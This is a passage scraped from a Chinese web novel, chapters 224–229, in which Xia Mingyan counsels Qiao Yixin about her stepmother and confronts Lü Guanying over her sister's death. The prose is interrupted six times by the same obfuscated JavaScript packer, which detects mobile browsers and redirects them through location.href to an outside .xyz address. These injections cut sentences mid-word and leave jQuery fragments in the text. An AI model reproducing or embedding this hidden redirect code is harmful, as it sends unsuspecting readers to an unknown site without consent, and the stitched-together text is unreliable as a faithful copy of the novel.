;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454382|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让那些背后的人以为她去吕家就是请吕二姑娘作伪证的。 只有这样,那背后的人才会担心吕二姑娘会吐口,真相会落到夏明嫣手中,他们才会再次动手。 乔依心兴冲冲地就要走,夏明嫣也不拦着她,在乔家商议这件事也不合适,还是在马车上边走边商量比较好。 等到二人在马车上坐定了,乔依心先就兴冲冲地道:“明嫣,你快说,咱们的计划是什么?” 夏明嫣先就瞪了她一眼,待马车行了起来,车轮声响起,那声音能让马车周围的行人听不到里面说话的声音。 她才道:“计划什么,那是我的事,先来说说你的事。告诉你,刚才的事还没完。” 乔依心一听,又不好意思起来:“我知道是我多心了,我也过分了些,哪有拦着弟弟、妹妹出生的道理。可我也解释过了,我不是不让她生孩子,我是不想她骗我。” “她要是能生,偏要说不能生,连自己亲生的孩子都能拿来算计,我就真得担心她会如何对我父亲了。” “再说了,我不是也听了你的么?宅子的事我应下,我还会给那些孩子找师父,就是以后他们各自婚嫁,我父亲要拿出银子来给他们,甚至还帮他们某差事,我也没二话。” “我也就是私下里跟你说了,你别跟她说,万一她听了就变了呢……我是说,这乔家的东西,我拿了嫁妆之后,剩下的都是我父亲的,将来他爱给谁、就给谁。” “就是给了方家的这些人,只要他们对我父亲好,我都没二话,怎么样,我够大方吧。” 乔将军没白疼乔依心,这么一个骄傲的人,为了自己的父亲晚年有个依靠,是什么都可以不在乎的。 乔依心也是个实心眼儿的人,说什么就是什么,她也不贪恋乔家的家产,之前对方夫人是真厌恶过,现在也是真歉疚。 “你傻啊,我是你的发小和好姐妹,伯母她不是,我还能偏着她,不偏着你了,我刚才是在帮你。” 第224章何必做那个小气的人? 夏明嫣会帮着她,乔依心从不怀疑这一点,她重重地点头道: “我当然知道你在帮我,你是怕她觉得我把府里的东西守得太紧,她反过来说我不孝、不敬嫡母,才让我对她和她的那些亲戚好些的。” “没事儿,明嫣,我不介意,只是一座大一点的宅子而已,就是送给他们了也无妨,毕竟夫人对我父亲也是很好的。将来等我出嫁了,府里上上下下都得劳烦她,我知道她不是那样的人之后,也觉得她挺不容易的。” “你之前说的也全都是对的,人与人相处哪儿有那么多毫无所图的?就是咱们之间,不也图一个性情相投吗?我也不怕她图这些身外物和子弟前程,只要她能照顾好我父亲就成了。” 乔将军这些年一直没有续弦,在卢阳那些年都是又当爹又当妈的,把该不该是男人吃的苦都吃了个遍。 现如今回了元京了,他也不想续弦,可方夫人是他的上官保的媒、拉的纤,他不好拒绝,而且女儿大了,要议亲了,没个主母上下张罗着也不成。 还有四时八节、婚丧嫁娶的应酬也需要一位主母,可别小看了这些妇人间的来往,乔将军本就是个不擅长交际的大老粗,再没有一位夫人帮忙打点转圜,光是这元京的风往哪边刮,他都得是最后看出来的。 不说别的,要是宫里哪位太妃哪天殁了,要这些命妇进宫守丧,万一皇上、皇后放眼一看,问乔将军的家眷来了没有,下面的人回答说这乔将军没有夫人,鳏居多年,女儿出嫁后更是独居府中。 皇上会怎么想?往了轻了说,得觉得他性子不好或是哪儿有毛病,往重了说,就是这人不敬宗法、礼法,连香火都不打算传承了,作为武将来说,很不好控制。 乔将军为着乔依心的婚事才回的元京,要想在元京待下去,方方面面的事都得考虑到,就算只是娶了个续弦回来摆着,也得这么做。 乔依心不是不知道这个道理,可她不放心这个突然出现的方夫人,她之前做的一连串的事,包括试图离府出走,其实都是试探方夫人的一种方式。 夏明嫣哪里不知道她的小心思:“我知道,你心里介意或是不舒服都是正常的,这世上的夫妻有千百转,看看我父亲和楚夫人,要说我说,方夫人比她强多了。” “虽说没有过人的背景和家世,可人可靠、爽朗,是个有话直说的。她的话或许不好听,或许眼下她跟桥伯父还没什么情意,可就算只能把这个乔夫人做好,也已经很可贵了。” “你啊,可得想想,万一以后乔伯父跟她琴瑟和鸣了,你可不能嫉妒他们。不说这个了,我是想告诉你,我之所以你提议让你分了宅子给他们住,不全是为了让你善待他们,以便他们投桃报李,待乔伯父更好。” “那还能是为了什么?我以为你是想解决了她的后顾之忧,好让她少些牵挂,这样能多帮衬着些府里的事。”乔依心不解。 夏明嫣摇了摇头,解释道:“不全是,有句话要是别人说了,我怕你会吃心,倒是我来说最合适。” “乔伯父这人是这世间最光明磊落的汉子,他是不屑于与人作伪的,他们的这段婚事应是在一开始就丁是丁卯是卯地说好了的。” “不然这方伯母也不是二嫁之妇,你乔家可按礼仪给了聘礼了?婚事可大操大办了?我是没见到宴客的,乔伯父真就什么都没许诺?” 方夫人只是因为亲生父母和养父母相继离世,才拖大了年纪的,并不是二嫁。在元京只要是初嫁,不管年纪多大了,都得有个讲究。 乔家的中馈之前都是管家打理,乔依心在一旁帮衬着顺便管着账目的,就是方夫人进门之后,账册也还在乔依心手中。 有没有置办聘礼,置办了多少,只要这些日子以来有盘过账,就能看得出来。 之前乔依心对方夫人满心堤防,自然是在方夫人身上花几两银子,她都觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454383|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得只多不少的。如今她心平气和下来,再一回想,脸色都变了。 乔将军几乎没有置办聘礼,只是从府里的库房搜罗了一些老物件装点之后送去,然后就是少了一千两银票,这银子八成也是用来安顿方家人的。 只是乔将军为了体贴自己的女儿,这些都没有明着告诉她罢了,而方夫人也难得不是一个爱炫耀的人,她若真是个坏心的,早就拿这些事儿来激怒乔依心了。 乔依心皱眉,眼泪都要下来了:“你是说……我父亲已经答应了她帮忙安顿她的家人,却没有告诉我。而且因为我没有松口,他给夫人置办的并不多,要等我缓过这口气来才去做?” 夏明嫣颔首:“你看,这事儿上乔伯父在为你着想,伯母也没催着你,更没逼过你,这已经很难得了。你要点这个头,也不能就轻飘飘地说出几句话去,让他们自己置办。” “自己置办,怎么置办,规格有多大?他们顾及这你的感受,反而不好办了。尤其伯母这边,她还多了一层考虑。毕竟你跟伯父是亲生的父女,她跟你们乔家,才只有一个名分,并没有血脉羁绊。” “万一乔伯父给的多了,你又吃心了,说不定反而连累了方家,倒不如你先拿出一座宅子来给他们住。这宅子是乔家的,他们住着,他们就算是乔家的人了。” “有了依靠了,以后不至于被人欺辱,也能缓口气,为了将来努力奔前程。你这姿态也摆出来了,都是一家人了,乔伯父那边多给点少给点的也就没关系了。” 当然了,摆这种姿态的前提是双方都是靠谱的人。既然乔将军和方夫人都不错,又都很有分寸,乔依心又何必去做这个小气的人? 乔依心上一世陷入困境之后,知情的那几个人都不为她说话,何尝不是跟她的名声有关? 那时候她嫁给了孙允斌,对这个继母也是爱答不理的,更是没有关照过方家人,可是方夫人是怎么做的呢? 第225章方氏能不能生,在她 那时候的方夫人一如既往地对乔依心好,甚至在最初察觉孙允斌有问题的时候,还上门威胁过他,只是她见乔依心不愿意见到她,慢慢地才不再上门了。 方夫人把对继女的关心藏在了暗处,越是如此,看在眼里的人才越觉得乔依心过分,甚至有人觉得她没良心。 到了关键时候,又是夫妻之间的事,有谁还会帮着一个没良心的女人?而夏明嫣那时不是被困在端侯府,就是在南疆,哪里又能知道她多年的好友竟然被关进了疯人谷? 要是乔依心当真能打开心结,这宅子就是真心实意给方家人住的,乔将军之后再添补些,对他们都好,是面子、里子都兜住了的。 要是乔依心还在闹别扭,或是以后又忽然想不开了,宅子这么大一个东西摆在那儿了,外人也不好说什么,这可是她孝敬继母的证据,这也算是把面子兜住了。 她这是拿前世的经验在教乔依心如何周全,夏明嫣叹了口气,看着乔依心道: “我这也是给你们之间划下道道来,我就是要告诉伯母,她对乔伯父和你好,你就会关照她的家人,要钱财、要前程都可以。” “但是反过来,她要是哪天不好了,这一切也都可以收回。在你们之间,那座宅子既是上限,也是下限。” “要是她对你们好了,除了这宅子,以后还有更多,这就是下限,你不是也许诺了资助方家的子弟进学、习武了吗?要是她以后反悔了,对你们不好了,以后想要别的,就再没有更多了,这宅子就是上限。” 家人和亲戚之间最麻烦的就是有那么一个念着是一家人便不追究了,最难的就是能严格执行某种规矩。 这对待妻子娘家人的规矩,乔家未必有,就算有,落在纸面上的文字也没有一座宅子和实打实地利益相关直接、直观。 夏明嫣想到夏家和华家的情况,不无担忧地说出自己的另一重想法, “再还有,你想想,这方家的人,你们若是不管,他们出了岔子怎么办?将来为非作歹了,怎么办?到时候受连累的依旧是你们乔家。” “况且乔伯父向来没什么心思,在外面得罪了什么人也未可知,万一有人见你们不管方家人,把他们拉拢了过去还替你们管着,你说他们之后会听谁的?” “会不会受人指使反咬你们一口?与其把他们推出去,不知道他们在做什么,再被有心人利用了,你倒不如大大方方地关起来。说到底现在你们都已经是亲戚了,万一将来能多条臂膀呢?” 乔依心脸色都有些白了,她只是想赌一口气,没想到可能会给自家埋下祸根,此刻她对夏明嫣的心里只有熨帖: “多亏你想到了这些,等忙完了你这件事,不用父亲安排,我就先替他安排好了。这样既能安排好他们的前程,进了我的心,不让父亲为难。” “也能让这些人都在我眼皮子底下,我帮他们,同时也能看着他们。不过我也不是一个小气的人,要是他们踏踏实实的,我就把他们当做表兄妹对待,是不会像从前那般计较的。” 乔依心是那种初时什么都不懂,只要提点她几句,她就能想通并且能够好生应对的人。 夏明嫣见乔依心是真想通了,又再三在她神色变化上确认了一下,这才无比严肃地开了口: “有件事我刚刚骗了你们,现在该是告诉你的时候了。我刚才给伯母诊脉的时候发现,其实她还能生!” “啊?那她不就是在骗我们吗?那你还……”乔依心没弄明白这究竟是怎么回事。 夏明嫣将她揽在怀里,才肯接着往下说:“她没骗你,她根本不知道,给她看诊的郎中们也不知道,更不可能告诉她,这不算欺骗。” “伯母只是说出了她心里认定了的‘事实真相’,况且她这病要治了才能好,一般的郎中治不好。” “这就是我要告诉你的第二件事,她这病我和我舅父都能治,是下面有个地方堵了,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462700|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们用活蛊能给她通开。” “这件事我只告诉你了,没告诉她,就是想将这事儿的决定权交给你。如果你哪天想通了,伯母她也的确是个好的,说不定乔伯父还能再得个儿子、闺女呢?” 乔依心彻底明白过来,方夫人这病难治,一般的郎中看不出来,只以为是治不了了,方夫人自己也是这么以为的。 按理说,要是方夫人今日没有见过她,可能后半辈子也没人能够告诉她真相,可是夏明嫣没把真相捅出去,说到底还是有些理亏的。 毕竟现在的方夫人至少还什么不好的事都没做过,至少眼前来看是这样的。 夏明嫣会瞒着方夫人,做出这样有违医德和操守的事,可都是为了她好。 乔依心流着泪道:“好明嫣,好妹妹,你这么做都是为了我。你放心吧,我会跟她好好相处的,一定不再闹了。” 马车行了一段儿路就去了元京城的西边,吕家的宅子就在那里。 这元京城的宅子靠近东市的要贵许多,靠近西市的宅子至少能便宜两成,而且宅子之间离得近,也没有东市那边干净、清净。 吕家人住在这里,说明他们还真就是个做小买卖的商户,在这儿住着,左右邻里干点儿什么都能听个几分,真不是个有大财的。 尤其是吕大姑娘之前是在书寓里的,回来之后还生下个孩子,左邻右舍早就议论开了,要不是实在没办法,怎么可能一直住在这种地方。 乔依心用马车里备着的湿帕子擦了脸,就跟着夏明嫣下了马车,她看着写着“吕宅”两个大字的院子,转而将夏明嫣挡在身后: “要不还是以我的名义通报吧,就说是我体恤她们姐妹身上近日来发生的不幸,特来看望。要是以你的名义去,我怕她想到华二公子如今进了元京府大牢,一听是你,就不会见了。” 华靖和这么一被带走,纵使案子没有审结,这一天一夜的工夫,也足够让人浮想联翩了。 第226章闭门羹 这一天一夜里,华靖离那边也找到了不少证据,这些证据不见得能证明华靖和是无辜的,却能证明还有些人在那个时间段也接触过吕大姑娘,也一样有嫌疑。 为了壮大声势,那些个家门没什么依靠的,在找到证据的时候便被顺手一并带去了元京府衙。 那些个家门有靠的,明着带人走阻力太大,一时间难以成行,便设法让那些已经进去了的把他们“咬”了出来,拿不拿人,元京府衙自己说了算。 府尹张礼岁下朝之后面对的就是这样一个乱局,其实他是一个颇为公正的,让府衙中的衙役去华侯府也并非拿人,而是问话。 最初他只打算让华靖和不得出华府大门,如府衙需要问话,让他随传随到即可,谁知那衙役收了旁人的好处,将华家得罪的死死的。 张礼岁一回来就命人将这衙役的住处搜了,可惜只搜到了他收受的银两,并没有书信之类的凭证,这人也是咬**不说,这件事拿不住是谁在陷害,就只能先按照章程走下去。 这一查倒好,他们元京府衙没拿到什么证据呢,就有人把证据送上门去了,还一下子来了这么多人。 这家里一般的还都被送了过来,这么一闹,那些家门有靠的他是拿还是不拿? 不拿那就是明显地区别处置,他便成了那等畏惧权势的小人,元京府衙也会被放在有失公允的位子上,今后还有谁人敢信? 那怎么办?那便去拿人呗,这样以来,别管那些人家是拖着不放人,还是身正不怕影子斜地配合的,整个元京都躁动了起来。 可尽管如此,这里面看起来嫌疑最大的依旧是华靖和,尤其是外人看热闹不嫌事大,这里面最近风头最盛的人就是华靖和,他们自然更愿意揪着他不放了。 这时候,消息已经传得遍地都是了,这吕家是当事人,自然不可能不知道。 夏明嫣是华靖和的长嫂,又道华靖和是庶出,家里断断不会让一个老妾出面料理此事。夏明嫣此时来吕家,那便是代表华家来的。 吕大姑娘性子刚烈,要是知道了来的人是她,恐怕让她吃个闭门羹都是客气的,说不定在府门口就得闹起来。 乔依心便想着由她出面叫开门,等她们都进去了,再让夏明嫣坦露身份,这些至少能见到人。 夏明嫣却道:“不,我就要让全元京的人都知道我来过吕家了,他们不是等着看华家如何徇私吗?就让他们好好看看好了。” 这样背后的人才会坐不住,才会早些跳出来将事情往他们预想好的目标上推进。凡事都怕急,只要他们急了,仓促行事,就一定会露出破绽。 “我能帮你做什么?这吕大姑娘听说是个泼辣的,早前用擀面杖打跑过几个破皮无赖。不过我也不比她差,明嫣,她敢跟你动手的话,我护着你!”乔依心豪气干云地道。 夏明嫣自然是带了护卫来的,可那些人都是男子,就算吕大姑娘要对夏明嫣动手,他们也不好真就上前按住她的。 毕竟现在看起来理亏的是华家,这么做更加会落下威逼弱女子苦主的话柄。 就算他们有证据证明华靖和是无辜的,只要闹这么一出,激怒了吕大姑娘,恐怕也会横生波折,惹怒了人家,人家也不会愿意好好地配合他们解决问题。 要是吕大姑娘真跟夏明嫣动手,夏明嫣自己是打不过的,但练过点拳脚功夫的乔依心却可以出手相助。女子跟女子打了起来,不算谁欺负了谁去! 夏明嫣笑了一下,让她平复一下,别那么紧张:“不是让你来跟她打架的,我是让你来帮我唱红脸。你也知道,这种事儿有诸多说不清楚的地方。” “与其指望就这么就能说清楚了,倒不如想法子让真凶自己跳出来。可是这不是得吕大姑娘配合么?我是华靖和的长嫂,是他这边的人,我的话,她就算信了,也难接受。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462701|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“倒是你不一样,你看起来比我老实多了,说话容易让她相信。你只记着说话时软和些,一律要为她着想,但无论你说什么,目的与我一致就行。” “我老实?行,我就老实了,我试试看。” 乔依心听了也不恼,她此刻紧张得很,就怕这吕大姑娘是个三头六臂的,她的心思全放在如何应对上了,哪里还顾得上想其他的。 夏明嫣这就让马车外的秋果去叫门,自己跟乔依心下了马车。 没一会儿吕家门房上就传来一道怒气冲冲地女子声音,门都没开,就听见这声音高声道: “家姐新丧,外甥不知踪影,我们吕家小门小户的,着实无力招待贵客。无论是哪家的贵客,这就请回吧。” 秋果转身看向夏明嫣,等着她示下。夏明嫣向她使了个眼色,让她大声嚷嚷出来。 秋果运了两回气,才在夏明嫣催促的目光下深吸了口气,大声喊出来: “吕大姑娘,我家主人是华侯夫人夏氏,华家二公子之长嫂。有道是长嫂如母,吕家有什么要求,现在不跟我们夫人说,还打算等到什么时候?” 这地方本就人多,秋果这两嗓子一喊出来,周围立刻聚拢了很多人来,对着外面的一行人指指点点。 “都听说了吗?这吕大姑娘一脖子吊**,就是因为她又遇上她那从前的情郎了,人家不肯娶她,也不肯认那孩子,她一时想不开,才寻了短见了。” “我也听说了,唉,也真是想不开。你说,她们母子回娘家来都三年了,那孩子都两岁多了。要说最开始的时候闲言碎语是多,可谁也没把她们母子往死里逼啊。如今都熬过来了,怎么就……唉。” 吕家住的这片地方住得最多的是商贾,其次是一些低品阶的军士、武勋之家还有就是镖师和三教九流的人,这些人家虽然也对女子的品行、贞洁有要求,可比竟比那些高门大户的宽松多了。 第227章吕家自导自演? 这些个人家都是元京城里最普通不过的人家,又都是来回奔波着谋生的,谁家关起来门来都有些难堪的事。 虽说大多数人家的事儿都没有吕家这大姑娘沦落到那种地方严重,可这也不是吕大姑娘和吕家自愿的,吕家人搬到这地方以来的这十几年一直都在找他们家大闺女,这都是大家伙儿都看在眼里的事。 因此,自打吕家把吕大姑娘赎回来之后,这闲言碎语就没少过,不过大伙儿也都知道她们母子平时不出门,说了也轻易传不到吕家里面去,这才说得比较起劲儿的。 这些个人嘴再碎,也没人非得把这母子俩逼死不可的,尤其是这三年之后,吕家二老都没了,吕大姑娘去了铺子里帮忙之后,大伙儿纵使有些好奇,有些缺口德的玩笑几句,可断断没有这要把她怎样的。 毕竟逝者为大,吕家二老都是与人为善的人,就算看着他们的脸面,也不能对吕大姑娘母子怎么样。 所以这吕大姑娘怎么就想不开了?要想不开她也该早些年就想不开了啊……这只能是因为遇见孩子他爹了,孩子不肯认啊。 外面的人一听这登门拜访的是华家新进门的侯夫人,立刻又热闹起来。 “这么说那孩子的爹真是钩翊侯府的二公子?听说是庶出,不过老钩翊侯总共就两个儿子和一个闺女,闺女那儿将来陪送一份嫁妆,剩下的家业两个儿子分,再是庶出,分到的东西也是极丰厚的。” “这还用说?不说别的,这庶出的公子可跟那位华侯不是一个娘生的,能让正经的侯夫人出面说和,就说明这二公子的地位不低,否则就算不让那位如夫人出面,也应是派个体面的嬷嬷或是旁亲来说和的。” “说的是啊,我看这事儿……真不如吃了这眼前亏,这吕大姑娘已经没了,人死不能复生,不如为活着的人考虑考虑。现在那孩子在哪儿才是最重要的。” “这孩子要是找回来了,总要过日子,长大了还要奔前程,要是华家能把这孩子认了去,哪怕就说他们府上一个通房生的,也比在吕家强。” 这时候的人就是这么想事儿的,见了有权有势的,自然就矮了三分,尤其是这些不上不下的小商贾之家,遇事能“保本儿”就已经不错了。 何况这些人说的,也未尝没有道理。 具体的案情元京府衙对外并没有说得太详细,这些人只知道吕大姑娘是投缳自尽的,并不知道她被人下了毒,那么她的死就不能完全怪了那情郎。 若是这孩子的爹真是个高门子弟,人家当年有私的不是如今的商户之女吕大姑娘,而是楼子里的吕娘子,发生了这样的事,谁家能痛痛快快地把人娶回去? 就算是置办宅子,置外室,都不是所有人家都愿意办的,给点银子打发了,挪出元京城去,才是最常见的处置办法。 即便是两人重逢了,人家不接纳她进门是可想而知的事,可她怎么就那么想不开呢? 要说孩子的前程要紧就更是了,这种父不详的孩子是最麻烦的,依照大恒律,即便是未婚生子,只要能知道父亲是谁,这父亲也愿意到官府去报备、画押,这孩子即便跟着母亲,不进父族家门,这孩子也是良户。 可若是这孩子得不到亲生父亲的认可,甚至根本就是无父亲可认,即便母亲是良户,这孩子也是贱籍中的女干生子。 有人会说了良户的娘亲怎么会有贱籍的孩子?这不成了一户两籍了吗? 这条律例还特别规定了,这种贱籍的孩子,户籍是放在当地府衙的公户贱户里的,这些孩子除非将来能拿出百万钱也就是几千甚至上万两银子赎籍或是得恩赏了,这辈子都是贱籍,不能与良户通婚。 这样规定也不是全无道理的,既然是父不详,那这孩子的亲生父亲就可能是任何人,可能是贵人,也可能是罪人甚至逃犯。 不确定的事那就按照最差的情况处理,直接入了贱籍,让这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469227|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子翻不了身才算釜底抽薪,让官府没了后顾之忧。 可要说给这孩子赎籍,别说吕家这样的小商贾未必能凑出那么多银子,就算有了银子了,官府每年赎籍的名额是有限的。 上一年整个元京府才赎出三个人来,可见不是有银子就行的,还有别的附加条件,而且符合了条件还得排队,这般艰难什么时候才能赎到吕大姑娘的孩子头上。 要是这孩子不能赎籍,将来别说不能找个良户成亲,就是这吕家的产业他都继承不了,因为贱籍是不能私自置产的。 若是那种大户人家有主的奴籍、贱籍,只要主家允许,这些人还能在一定规模内拥有自己的私产。 可要说这些在元京府公户贱籍上的人,他们一辈子都不能拥有自己的私产……这孩子跟着吕家,即便找回来了,这辈子也是没什么指望的。 这些人便想着,要不然这吕二姑娘还是息事宁人吧,只要华家能把孩子找回来,再认回去,哪怕只是承认,不让他进门呢,能入了良户都好。 此刻,吕家大门纹丝未动,夏明嫣示意秋果过来,低声交待了她几句,又让她回去继续叫门。 有之前喊的那几句打底,秋果这回胆子大了许多,她硬着头皮喊道:“吕二姑娘藏头露尾地不肯见面,我家夫人却是真心来与你商谈的,你避而不见,是有难言之隐?” “你家孩子丢了,人手不足,很难找到,这时有人愿意帮你去找,你却连门都不开,是心虚了不成?难不成孩子根本就没有丢,这一切只是你们吕家想要要挟哪个冤大头的手段?” 这些话一说完,外面就跟炸了锅似的吵成一片。 “吕大姑娘没了,这是千真万确的,二姑娘不像是能逼死亲姐的人。可是这亲姐已经没了,是知道她会不会利用了做别的事?” “刚还说呢,让这孩子认祖归宗要紧,说不准这二姑娘早就谋划上了,就等着华家上门呢。” 第228章不讲理 嚯地一声响,吕家大门开了,吕家二姑娘吕冠瑛带着几个粗壮地仆妇出来了,每个人手里都拿着一根擀面杖。 那些个议论的人渐渐没了声响,都看着吕冠瑛和夏明英等着看热闹,也有人期待地看着吕冠瑛,等着看她是不是如他们所想的那样打算的。 要是这吕家的孩子真能姓了华,别管怎么姓上的,将来他们这些人说起来都觉得与有荣焉。 吕冠瑛上下打量着夏明嫣和乔依心,这二人带着帷帽,看不到脸,可单从身形和在这么多人的注视和议论下半点不退、不缩,这就跟他们这些人不一样。 看看人家,明明不是什么光彩的事还理亏,偏偏是那么的理直气壮,反而是围观的这些人见她们如此,渐渐好像理亏似的不出声了。 吕冠瑛上前几步,表面上十分强硬,内心里却不断在给自己鼓劲儿,她大声对着夏明嫣道: “这位就是华侯夫人吧?你是华二公子的长嫂?你才当上这侯夫人一个多月,我阿姐的事儿发生在三年前和三个月前,这两桩事儿都跟你没关系,我不迁怒你。” “你和这两位姑娘还是请回吧,近日吕家不待客,贵府二公子的官司还是等着府衙来判吧。清者自清,假的变不成真的,官府怎么判,我们怎么认!” 秋果先被那几个仆妇逼着下了台阶,回到夏明嫣身边,她气得跳脚道:“吕二姑娘这么说好没道理,只要元京府来判,外面这么多风言风语了,你也不解释一下?” “别说我们二爷是清白的,他指天发誓到你们铺子里就是去买绸缎的,当时都没认出来吕大姑娘是谁,就算这事儿上真有什么,你不是要等府衙判吗?放任这些人说孩子是华家的,吕大姑娘是我们二爷逼死的,算怎么回事?” 吕冠瑛被如此质问,脸色一白,眼珠子也瞪了起来,她就知道这些高门大户的贵女不好对付,只是没想到一个丫鬟都这么能讲理。 吕冠瑛自小被父母培养着做买卖,要论精明,她不逊色于同龄人里的大多数,也包括高门贵女,可是她这样的人碰到官面上的事就不行了,连话都可能说不明白。 像夏明嫣和乔依心这样的却不同,即便不在父母身边长大,身边的长辈日日谈论的也是官面上的事,耳濡目染地自然懂得很多,就算不完全懂,她们也能知道方向,知道到哪儿找人去帮她们。 吕冠瑛现在却是个秋后庄稼地里的光杆儿,没人帮她,有了事她也不知道问谁,她姐姐出了事,人没了,元京府让她等消息,她就只能等。 她也找了讼师了,可是那些个讼师一听这事儿跟元京的高门公子们有关,还不止一个人,关键是牵扯了很多个人,却还不知道具体是那些个人……这些人就退了,谁都不敢招惹是非。 她不懂这当中的律法,只是一个好心地讼师跟她分析了事情的利弊之后,她发现这事儿是真难。 先是长姐究竟为何投缳自尽的,什么巧遇旧情郎,这只是猜测,实际上可能另有隐情。 再者,即便真是孩子的亲爹、哪个高门公子不想认账了设计灭的口,可这个人是谁,是很难判断出来的。 孩子还小,看不出长得像谁,而且长相这东西,一个人可以像好几个人。滴血验亲之术也做不得准,这一点五年前还是圣上和大理寺颁布的诏命里特别说明的。 要是单看两血能不能相融就判断是不是血亲,那沙场上血流成河的时候,再下一场大雨,你看那么多人的血是不是还是融在一块儿了?难道他们都是血亲? 其实现在根本就没有能够真正有效地验证血亲的方式,于是只能各家各户扎紧篱笆,不让女眷在外过夜,再在内宅严防死守不让女眷跟外男接触。 因此,这桩案子最好的结果就是找到逼死她阿姐的真凶,至于孩子,认祖归宗依旧是一件不可能的事。 而且最关键的是,她阿姐在世的时候从来没有透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469228|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露过孩子的亲生父亲是谁,据她观察、试探,她阿姐很可能自己都不知道…… 面对秋果的质问,吕冠瑛只能硬着头皮回应道:“我没有放任不管,嘴长在别人身上,我想管也管不了。好,既然你们今日非要论一论这件事的是非,咱们就好生说道说道。” “我长姐是怎么没的,想必元京府的人已经跟你们说了。华二公子有嫌疑,是因有人举发他,元京府核实过后认为他的确有嫌疑,并非出自我家指认。要说诬陷,更是没有的。” “如今我和吕家只想找到我阿姐**和投缳自尽的真相,再把我那可怜的外甥找回来,别的我们是在无力去管。你们硬要说我故意冤枉了华家二公子,我也无话可说。” “因为我虽然没有刻意做过什么去冤枉他,我也不信这件事跟他一点关系都没有,不然为什么那么多人都说他曾经跟我阿姐有过过往,都说我外甥是他的孩子呢?” “这位夫人和两位姑娘,你们与其在这儿找我们吕家的麻烦,要是真觉得华二公子是清白的,不妨去找一找真凶,再帮我们寻一寻孩子,但凡这两个有一个找到了,我都谢谢你们。” 有人说是华靖和干的,就是了?这么听起来就连吕大姑娘自己都没这么说过吧? “你……别人说什么你都信,说到底你也没有证据。要是孩子真是我们二公子的,我们二公子一直都是性子温和、乐善好施的,他可有送过吕大姑娘东西?” “恐怕没有吧,大伙儿都来评评理,连件信物都没有,她凭什么就觉得这孩子可能是我们二公子的?” 秋果刻意加重了“可能”两个字,她不懂那么多大道理,可这里面明显就有破绽。 吕冠瑛犹自嘴硬,还朝着秋果挥了两下手里的擀面杖:“今日是可能,明日可能就被验证了。你们说我没证据证明华二公子曾与我阿姐有私,也没法子证明孩子是他的,那么你们就能证明不是他吗?” 第229章不如一谈 看见吕冠瑛这副不讲理的样子,夏明嫣笑了一下,掀开帷帽上的轻纱,迎视着她直击重点: “说了半天,吕二姑娘一直在回避一个问题,那就是即便是吕大姑娘尚在人世的时候,她都没有透露过孩子的亲爹是谁,更没有说过就是我家二弟做的,对吧?” 